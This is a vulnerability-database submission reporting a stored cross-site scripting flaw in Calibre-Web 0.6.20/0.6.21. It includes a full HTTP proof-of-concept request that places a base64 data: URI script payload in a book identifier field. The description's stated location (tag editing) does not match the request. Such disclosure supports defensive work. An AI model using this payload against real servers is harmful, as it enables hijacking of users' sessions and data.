제출 #600759: janeczku calibre-web 0.6.20, 0.6.21 Beta Cross Site Scripting

The XSS (Cross-Site Scripting) vulnerability found in the Caliber-Web application allows an attacker to inject malicious JavaScript code into a href via a data wrapper, containing a base64-encoded payload. This vulnerability specifically occurs in a book's Tag editing functionality.

By exploiting this vulnerability, the attacker could bypass the application's security filter that prevents the execution of JavaScript codes via href. In this way, he can insert malicious code into a link, which will be automatically executed when a user clicks on it, without him noticing.

With this security hole, the attacker can gain access to sensitive user information, such as authentication cookies, passwords and other personal information. Furthermore, it can redirect the user to malicious websites that aim to collect personal information or install malware on the user's device.

Video: https://youtu.be/z4y5zoleoow

Request:

POST /admin/book/1 HTTP/1.1
Host: IP:8083
Cookie: remember_token=1|2a16c7d574eaacc5b8fced5cc625ab1e133d8d0ff4d1c1550adf30f4b7914d078852e2feeb35cea7f50dfd235d3252b050642fad7407d1641838e3e2c1be1bfb; session=.eJwljrtuwzAMAP9FcwdRIkUzP2PwiQQFWsBOpqL_Hhcd73DD_bS9jjzv7fY8XvnR9ke0WwumJKtO5VkhKZzoG7BCFkV2Ru1TTJVJp7HadmU2kecqGambJor2Mp3kC8vCehfQTbRiIW0dx4jUXAvABBim46ApicspqF0jrzOP_xu40M-j9uf3Z379CSAk98CO6msy2byI3JKgOGSs4gTo7fcNB65A8Q.ZEQhfQ.C71C3b3GsXhtgG2XSS3mUQW9sqw
Content-Length: 1701
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="112", "Google Chrome";v="112", "Not:A-Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzJRXvOfGFuu3OBF6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/x.x.x.x Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: pt-PT,pt;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

------WebKitFormBoundaryzJRXvOfGFuu3OBF6
Content-Disposition: form-data; name="csrf_token"

IjExNTQ1Y2NkNDA0YWM2Mzc1YjNjY2Q1Y2JlNTFmN2Q5MjZmN2UxMTAi.ZEQhyw.Z9WwI-oM-459VNszwOxfed0Aizw
------WebKitFormBoundaryzJRXvOfGFuu3OBF6
Content-Disposition: form-data; name="book_title"

Test
------WebKitFormBoundaryzJRXvOfGFuu3OBF6
Content-Disposition: form-data; name="author_name"

Test
------WebKitFormBoundaryzJRXvOfGFuu3OBF6
Content-Disposition: form-data; name="description"

------WebKitFormBoundaryzJRXvOfGFuu3OBF6
Content-Disposition: form-data; name="identifier-type-sasasaas"

click here
------WebKitFormBoundaryzJRXvOfGFuu3OBF6
Content-Disposition: form-data; name="identifier-val-sasasaas"

data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
------WebKitFormBoundaryzJRXvOfGFuu3OBF6
Content-Disposition: form-data; name="tags"

------WebKitFormBoundaryzJRXvOfGFuu3OBF6
Content-Disposition: form-data; name="series"

------WebKitFormBoundaryzJRXvOfGFuu3OBF6
Content-Disposition: form-data; name="series_index"

1.0
------WebKitFormBoundaryzJRXvOfGFuu3OBF6
Content-Disposition: form-data; name="rating"

------WebKitFormBoundaryzJRXvOfGFuu3OBF6
Content-Disposition: form-data; name="pubdate"

------WebKitFormBoundaryzJRXvOfGFuu3OBF6
Content-Disposition: form-data; name="publisher"

------WebKitFormBoundaryzJRXvOfGFuu3OBF6
Content-Disposition: form-data; name="languages"

Russian
------WebKitFormBoundaryzJRXvOfGFuu3OBF6
Content-Disposition: form-data; name="detail_view"

on
------WebKitFormBoundaryzJRXvOfGFuu3OBF6--

• 원천: ⚠️ https://huntr.com/bounties/7a62b1bf-b959-4344-b78a-3b683a7c6d38
• 사용자: mrempy (UID 24379)
• 제출: 2025. 06. 19. PM 06:28 (1 년도 ago)
• 모더레이션: 2025. 06. 22. AM 08:39 (3 days later)
• 상태: 중복
• VulDB 항목: 271975 [janeczku Calibre-Web 까지 0.6.21 edit_book_comments 크로스 사이트 스크립팅]
• 포인트들: 0